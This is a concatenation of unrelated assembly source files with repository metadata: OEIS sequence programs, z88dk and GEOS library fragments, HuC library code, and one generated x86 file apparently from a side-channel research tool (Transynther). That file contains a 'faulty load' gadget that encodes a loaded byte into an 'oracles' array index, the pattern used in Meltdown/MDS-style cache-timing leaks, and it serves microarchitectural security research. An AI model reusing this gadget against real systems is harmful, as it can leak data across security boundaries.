; 1,1,3,4,10,6,21,16,27,20,55,24,78,42,60,64,136,54,171,80,126,110,253,96,250,156,243,168,406,120,465,256,330,272,420,216,666,342,468,320,820,252,903,440,540,506,1081,384,1029,500,816,624,1378,486,1100,672,1026,812,1711,480,1830,930,1134,1024,1560,660,2211,1088,1518,840,2485,864,2628,1332,1500,1368,2310,936,3081,1280,2187,1640,3403,1008,2720,1806,2436,1760,3916,1080,3276,2024,2790,2162,3420,1536,4656,2058,2970,2000,5050,1632,5253,2496,2520,2756,5671,1944,5886,2200,3996,2688,6328,2052,5060,3248,4212,3422,5712,1920,6655,3660,4920,3720,6250,2268,8001,4096,5418,3120,8515,2640,7182,4422,4860,4352,9316,3036,9591,3360,6486,4970,8580,3456,8120,5256,6174,5328,11026,3000,11325,5472,7344,4620,9300,3744,12246,6162,8268,5120,10626,4374,13203,6560,6600,6806,13861,4032,13182,5440,9234,7224,14878,4872,10500,7040,10266,7832,15931,4320,16290,6552,10980,8096,13320,5580,14960,8648,10206,6840,18145,6144,18528,9312,9360,8232,19306,5940,19701,8000,13266,10100,17052,6528,16400,10506,13662,9984,18810,5040,22155,11024,14910,11342,18060,7776,19530,11772,15768,8800,21216,7992,24753,10752,13500,12656,25651,8208,26106,10120,13860,12992,27028,8424,21620,13688,18486,11424,28441,7680,28920,13310,19683,14640,20580,9840,26676,14880,20418,12500
mov $2,$0
add $0,2
mul $0,$2
cal $0,10 ; Euler totient function phi(n): count numbers <= n and prime to n.
mul $0,2
mov $1,14
add $1,$0
sub $1,16
div $1,4
add $1,1
| 107.714286 | 1,228 | 0.77321 |
b9f791ed4a6df13d7333327a4265ef92f8dc964c | 173 | asm | Assembly | libsrc/_DEVELOPMENT/adt/p_stack/c/sdcc_iy/p_stack_top.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/adt/p_stack/c/sdcc_iy/p_stack_top.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/adt/p_stack/c/sdcc_iy/p_stack_top.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
; void *p_stack_top(p_stack_t *s)
SECTION code_clib
SECTION code_adt_p_stack
PUBLIC _p_stack_top
EXTERN _p_forward_list_front
defc _p_stack_top = _p_forward_list_front
| 14.416667 | 41 | 0.843931 |
17ac784f9e8998ee8007bf325cebfb83e68bf8f3 | 782 | asm | Assembly | programs/oeis/321/A321875.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/321/A321875.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/321/A321875.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A321875: a(n) = Sum_{d|n} d*d!.
; 1,5,19,101,601,4343,35281,322661,3265939,36288605,439084801,5748023639,80951270401,1220496112085,19615115520619,334764638530661,6046686277632001,115242726706374263,2311256907767808001,48658040163569088701,1072909785605898275299,24728016011107808044805,594596384994354462720001,14890761641597752292986199,387780251083274649600000601,10485577989291746606135270405,293999475161295508340739265939,8536873649127988095262608112181,256411097818451356681764864000001,7957585794365731759108869551812943,254907998279515607349492449280000001
add $0,1
mov $2,$0
lpb $0
mov $3,$2
mov $4,$0
cmp $4,0
add $0,$4
dif $3,$0
cmp $3,$2
cmp $3,0
mul $3,$0
mov $5,$0
sub $0,1
add $1,$3
mul $1,$5
lpe
lpb $5
add $1,1
div $5,7
lpe
mov $0,$1
| 31.28 | 532 | 0.787724 |
a09eeb41e954c094ce2b6b356dfd22e9f8188ad8 | 590 | asm | Assembly | Library/Chart/PArea/pareaRealize.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Library/Chart/PArea/pareaRealize.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Library/Chart/PArea/pareaRealize.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: pareaRealize.asm
AUTHOR: John Wedgwood, Oct 21, 1991
METHODS:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
John 10/21/91 Initial revision
DESCRIPTION:
Realizing code for the plot area.
$Id: pareaRealize.asm,v 1.1 97/04/04 17:46:44 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
| 21.851852 | 79 | 0.461017 |
bd5efc206949ec39fe89248ab26419f19804fe5a | 6,042 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_466.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_466.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_466.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %r15
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x12513, %r13
nop
nop
nop
sub %r10, %r10
mov (%r13), %di
nop
nop
nop
nop
nop
add $41846, %r10
lea addresses_normal_ht+0x4eb5, %r13
clflush (%r13)
nop
nop
nop
sub %r10, %r10
mov $0x6162636465666768, %rbp
movq %rbp, (%r13)
nop
cmp %rbp, %rbp
lea addresses_WT_ht+0x1b13, %rsi
lea addresses_UC_ht+0x3313, %rdi
nop
nop
nop
cmp $32464, %r12
mov $102, %rcx
rep movsb
nop
nop
cmp $13205, %rbp
lea addresses_WC_ht+0x40bb, %rbp
nop
nop
nop
nop
nop
dec %r10
mov (%rbp), %r13w
nop
nop
nop
xor %r13, %r13
lea addresses_D_ht+0xd123, %rsi
lea addresses_D_ht+0x7913, %rdi
nop
nop
inc %r15
mov $33, %rcx
rep movsw
nop
dec %rdi
lea addresses_WT_ht+0xa713, %rsi
lea addresses_normal_ht+0x4853, %rdi
nop
cmp %r12, %r12
mov $110, %rcx
rep movsb
nop
nop
nop
add $20372, %r13
lea addresses_UC_ht+0xb13d, %rsi
lea addresses_A_ht+0x156f3, %rdi
clflush (%rdi)
nop
nop
nop
sub $29922, %r10
mov $60, %rcx
rep movsl
nop
inc %r13
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r15
pop %r13
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r14
push %r15
push %rbp
push %rbx
push %rcx
// Load
lea addresses_WT+0x18533, %rcx
nop
nop
nop
xor $2318, %rbp
movups (%rcx), %xmm4
vpextrq $0, %xmm4, %r15
nop
nop
and $56913, %r10
// Faulty Load
lea addresses_PSE+0xdb13, %r10
and %r12, %r12
movups (%r10), %xmm3
vpextrq $0, %xmm3, %rbp
lea oracles, %rbx
and $0xff, %rbp
shlq $12, %rbp
mov (%rbx,%rbp,1), %rbp
pop %rcx
pop %rbx
pop %rbp
pop %r15
pop %r14
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 4, 'same': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 7, 'same': True, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 10, 'same': True, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 3, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 0, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
| 39.233766 | 2,999 | 0.660708 |
bf8f47af4292d7d85b7202f707e38d551738cb57 | 454 | asm | Assembly | programs/oeis/039/A039650.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/039/A039650.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/039/A039650.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A039650: Prime reached by iterating f(x) = phi(x)+1 on n.
; 2,2,3,3,5,3,7,5,7,5,11,5,13,7,7,7,17,7,19,7,13,11,23,7,13,13,19,13,29,7,31,17,13,17,13,13,37,19,13,17,41,13,43,13,13,23,47,17,43,13,13,13,53,19,41,13,37,29,59,17,61,31,37,13,43,13,67,13,13,13,71,13,73,37,41,37,61,13,79,13,41,41,83,13,43,43,37,41,89,13,73,13,61,47,73,13,97,43,61,41
lpb $0
seq $0,10 ; Euler totient function phi(n): count numbers <= n and prime to n.
lpe
trn $0,1
add $0,2
| 50.444444 | 283 | 0.645374 |
a66d4ed81d8a8eea73ce392e20bb94fa5823f415 | 491 | asm | Assembly | programs/oeis/183/A183862.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/183/A183862.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/183/A183862.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A183862: n+floor(sqrt(5n/2)); complement of A183863.
; 2,4,5,7,8,9,11,12,13,15,16,17,18,19,21,22,23,24,25,27,28,29,30,31,32,34,35,36,37,38,39,40,42,43,44,45,46,47,48,50,51,52,53,54,55,56,57,58,60,61,62,63,64,65,66,67,68,70,71,72,73,74,75,76,77,78,79,81,82,83,84,85,86,87,88,89,90,91,93,94
mov $5,$0
mul $0,2
mov $1,$0
add $0,2
add $0,$1
add $0,$1
mov $1,4
trn $3,$0
lpb $0,1
sub $0,$3
trn $0,1
add $1,1
add $3,5
lpe
sub $1,4
mov $2,$5
mov $4,1
lpb $4,1
add $1,$2
sub $4,1
lpe
| 19.64 | 235 | 0.598778 |
d7a837c2e88eefa994712b99ccde46809d9051c7 | 322 | asm | Assembly | programs/oeis/134/A134498.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/134/A134498.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/134/A134498.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A134498: a(n) = Fibonacci(7n).
; 0,13,377,10946,317811,9227465,267914296,7778742049,225851433717,6557470319842,190392490709135,5527939700884757,160500643816367088,4660046610375530309,135301852344706746049,3928413764606871165730
mul $0,7
seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1.
| 53.666667 | 196 | 0.767081 |
64cd43707c8b76a89d9d460f2038fa4374353342 | 213 | asm | Assembly | lib/chibiakumas/SrcALL/Multiplatform_ShowHex.asm | gilbertfrancois/msx | f34418180820df067530f31bd9727ef1c65a7989 | [
"Apache-2.0"
] | null | null | null | lib/chibiakumas/SrcALL/Multiplatform_ShowHex.asm | gilbertfrancois/msx | f34418180820df067530f31bd9727ef1c65a7989 | [
"Apache-2.0"
] | null | null | null | lib/chibiakumas/SrcALL/Multiplatform_ShowHex.asm | gilbertfrancois/msx | f34418180820df067530f31bd9727ef1c65a7989 | [
"Apache-2.0"
] | null | null | null |
ShowHex:
push af
and %11110000
rrca
rrca
rrca
rrca
call PrintHexChar
pop af
and %00001111
PrintHexChar:
or a ;Clear Carry Clag
daa
add a,&F0
adc a,&40
call PrintChar
ret
| 10.65 | 24 | 0.619718 |
a5dbb81ab0830f02c0a31085643375030ce3cae1 | 411 | asm | Assembly | oeis/052/A052721.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/052/A052721.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/052/A052721.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A052721: E.g.f. x*( (1-2*x-sqrt(1-4*x))/2 -x*(1-2*x-sqrt(1-4*x)) -x^2).
; Submitted by Christian Krause
; 0,0,0,0,0,120,2880,70560,1935360,59875200,2075673600,79913433600,3387499315200,156883562035200,7884404656128000,427447366714368000,24869664972472320000,1545805113445232640000,102232975285590589440000
mov $1,$0
trn $0,1
seq $0,52715 ; E.g.f. (1-2*x-sqrt(1-4*x))/2 -x*(1-2*x-sqrt(1-4*x)) -x^2.
mul $0,$1
| 45.666667 | 201 | 0.712895 |
c1f263dc1a2fcb6c0b616a0bdbc5d9153322fd95 | 6,078 | asm | Assembly | Transynther/x86/_processed/NONE/_st_/i7-7700_9_0xca_notsx.log_16518_1338.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_st_/i7-7700_9_0xca_notsx.log_16518_1338.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_st_/i7-7700_9_0xca_notsx.log_16518_1338.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r15
push %r8
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x4eab, %rsi
lea addresses_WC_ht+0x17bae, %rdi
nop
nop
nop
nop
nop
sub $22845, %r13
mov $32, %rcx
rep movsw
nop
nop
sub $47198, %rsi
lea addresses_normal_ht+0x614e, %rdx
clflush (%rdx)
nop
nop
nop
nop
nop
dec %r15
mov $0x6162636465666768, %r8
movq %r8, %xmm1
vmovups %ymm1, (%rdx)
nop
nop
xor $20047, %r13
lea addresses_D_ht+0xdf32, %rsi
lea addresses_UC_ht+0x13aae, %rdi
nop
nop
nop
cmp %r9, %r9
mov $45, %rcx
rep movsb
cmp %r8, %r8
lea addresses_UC_ht+0x82ce, %rsi
add %r9, %r9
movb (%rsi), %cl
nop
xor %r9, %r9
lea addresses_D_ht+0xf5fe, %rsi
lea addresses_A_ht+0x4795, %rdi
and %r15, %r15
mov $15, %rcx
rep movsl
nop
nop
nop
nop
nop
cmp %r15, %r15
lea addresses_WT_ht+0x64e, %r9
nop
add %rdx, %rdx
vmovups (%r9), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $0, %xmm1, %rsi
nop
and $5609, %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r15
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r15
push %r8
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
// REPMOV
lea addresses_WT+0x1fa8e, %rsi
lea addresses_A+0x46ae, %rdi
nop
nop
nop
cmp $41528, %rdx
mov $60, %rcx
rep movsb
nop
nop
nop
cmp %rcx, %rcx
// Store
mov $0x798b3c0000000f2e, %rdx
nop
nop
nop
nop
nop
xor $9003, %r15
mov $0x5152535455565758, %rdi
movq %rdi, %xmm3
movups %xmm3, (%rdx)
nop
nop
nop
nop
xor %r15, %r15
// Faulty Load
lea addresses_A+0x46ae, %r8
nop
cmp %rbx, %rbx
mov (%r8), %edi
lea oracles, %rdx
and $0xff, %rdi
shlq $12, %rdi
mov (%rdx,%rdi,1), %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r8
pop %r15
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_A'}, 'OP': 'LOAD'}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_WT'}, 'dst': {'congruent': 0, 'same': True, 'type': 'addresses_A'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 4, 'same': False, 'type': 'addresses_NC'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_A'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 0, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 5, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 0, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'src': {'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 5, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 4, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'39': 16518}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
| 38.468354 | 2,999 | 0.658276 |
c2308ddd3ac2217d358a2c884e0e356efb5f6bcf | 20,460 | asm | Assembly | asm/huc.asm | trapexit/chipce8 | 657cc8753a964d54c20093a1a506524231e456ce | [
"MIT"
] | 14 | 2015-06-03T00:13:46.000Z | 2021-02-10T16:06:22.000Z | HuC/huc.asm | trapexit/chipce8 | 657cc8753a964d54c20093a1a506524231e456ce | [
"MIT"
] | null | null | null | HuC/huc.asm | trapexit/chipce8 | 657cc8753a964d54c20093a1a506524231e456ce | [
"MIT"
] | 3 | 2016-06-21T14:17:58.000Z | 2020-03-06T14:29:30.000Z | ;
; HUC.ASM - HuC Internal Library
;
; ----
; local variables
.bss
_vdc .ds 20*2
.zp
__sign .ds 1
__remain .ds 2
.code
.mlist
; ----
; eq
; ----
